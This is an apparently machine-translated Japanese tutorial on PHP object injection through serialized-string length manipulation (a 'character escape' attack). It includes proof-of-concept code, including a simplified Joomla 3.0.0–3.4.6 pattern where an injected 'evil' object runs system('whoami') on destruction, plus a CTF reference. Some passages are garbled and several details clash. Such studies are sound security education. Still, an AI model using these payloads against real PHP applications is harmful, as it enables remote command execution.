PHP文字脱出によるオブジェクト注入

14918 ワード

1.脆弱性の原因:
シーケンス化された文字列は、フィルタ関数の不正な処理によってオブジェクトが注入され、現在ではフィルタ関数がserialize関数の後に置かれているため、シーケンス化前に置くとこの問題は発生しないはずです.
?php
function filter($string){
  $a = str_replace('x','zz',$string);
   return $a;
}

$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);

echo(serialize($user));
echo "
"; $r = filter(serialize($user)); echo($r); echo "
"; var_dump(unserialize($r)); $a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";'; var_dump(unserialize($a));

phpプロパティ:
1.PHP       ,       ;        ,  }     (     ),            
2.                 

以上のコードでは、シーケンス化された文字列からfilter関数を経てs:6に対応する文字列が明らかに長くなったという問題が明らかになった.
また、a:2:{i:0;s:6:“tr 1 ple”;i:1;s:5:“aaaaa”;i:1;s:5:"aaaaa"; このような文字列は、正常に逆シーケンス化することもでき、phpが逆シーケンス化の際に1つの逆シーケンス化文字列ブロックだけを合法的に要求すればよいことを示している.もちろん、最初の文字列ブロックである.
上記のコードを例にとると、filter関数という1文字から2文字に変化する特性を利用して、逆シーケンス化したい後に得られる属性を注入し、より多くの利用可能な文字列を脱出させることができれば、逆シーケンス化して欲しい属性を得ることができる
これよりも逆シーケンス化後の2番目の文字列を123456にしたい場合、payloadが以前のusername長とaの場合、filter処理後にusernameがaになる可能性があります.この場合、payloadは新しい注入属性になります.この場合、逆シーケンス化後、a:2:{i:0;s:6:「tr 1 ple」;i:1;s:6:「123456」;私たちが達成したい効果です.このとき、私たちが注入したいpayloadは明らかに:
";i:1;s:6:"123456";}

その長さが20であることが得られる
このとき,フィルタリングのルールはx->yyであることが分かった.すなわち,1つのxを注入すると1文字の空格子点から逃れることができ,20個のxを注入するだけで40個のyになり,20個の空格子点から逃れることができ,payloadを逆シーケンス化して得られる属性値に変えることができる
$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //                 
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "
"; $r = filter(serialize($user)); echo($r); echo "
"; var_dump(unserialize($r));

このとき注入属性が成功し,逆シーケンス化された属性が123456であることがわかる.
2.実例分析
joomla3.0.0-3.4.6オブジェクト注入による逆シーケンス化,以下は他人の簡易化コアホールコードを参考にする.
php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "tr1ple";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

ここで、オブジェクトを注入することによって逆シーケンス化を実現するには、外部オブジェクト内に存在する属性を注入する必要があり、その外部には注入できません.そうしないとphpは悪意のあるオブジェクトを注入する逆シーケンス化を行いません.
例えばこの場合、逆シーケンス化読み取りの際に6桁の文字0000を3桁の文字chr(0)*chr(0)に置き換えるので、文字列の前のsは固定されているに違いない.s対応する文字列が少なくなると、他の属性の文字が飲み込まれる.飲み込まれた文字の長さを丹念に計算し、飲み込まれた属性の内容を制御することができる.オブジェクトを注入し、他のクラスを逆シーケンス化することができます.
たとえば、上記のように、注入するオブジェクトがevilである場合、usernameとpasswordの値を制御できます.では、usernameに0を注入してpasswordの値を飲み込むことができます.たとえば、
php
$a='\0\0\0';
echo strlen($a);
$b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a);
echo strlen($b);

そこでまず飲み込む文字の長さを決めます
O:4:"User":2:{s:8:"username";s:6:"tr1ple";s:8:"password";s:4:"1234";}
通常は飲み込みます」;s:8:password;s:4:22位
ただし、注入されたオブジェクトpayloadもpasswordフィールドにあり、長さは必ず>=10であるため、sは必ず2桁であるため、ここでは22+1=23桁の文字である
6->3なので、1組の0000を追加するたびに3文字を多く飲み込むことができるので、必ず3の倍数である必要があります
だからここでusernameを00000000000000000000000000000000000000000000000000000000000000
read関数処理後の長さは24になります
つまり、この時点で24文字を多く飲み込むことができ、payloadを飲み込まないように、passwordの値をA+payloadとして1ビットの文字Aを埋め込むことができます.
php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

実行結果は上図のようにpassword属性に対応する値を逆シーケンス化することに成功し、その値は私たちが注入したオブジェクトであり、プロセス全体も理解しやすく、後の属性を飲み込んで属性を注入することであり、攻撃に達するには以下の要求がある.
1.隣接する2つの属性の値は我々が制御できる
2.前の属性のsの長さは変化することができて、長くなって短くなることができて、短くなると後の隣接する属性の値を飲み込んで、それから隣接する属性の中で新しいオブジェクトを注入して、辺の長さならば直接この属性の中でオブジェクトを注入して逆シーケンス化に達することができます
例えばXNUCA 2018 hardphpはこの関連するtrickを考察した.
ここでは,前のdataで逆シーケンス化時に1文字を後ろに飲み込むことで,後ろの一般ユーザのusernameフィールドを飲み込むことができ,usernameフィールドに偽造したいusernameを置くことでsessionを偽造する目的を達成することができる.
参照先:
https://www.cnblogs.com/magic-zero/p/9525842.html
https://github.com/wonderkun/CTF_web/tree/master/web400-12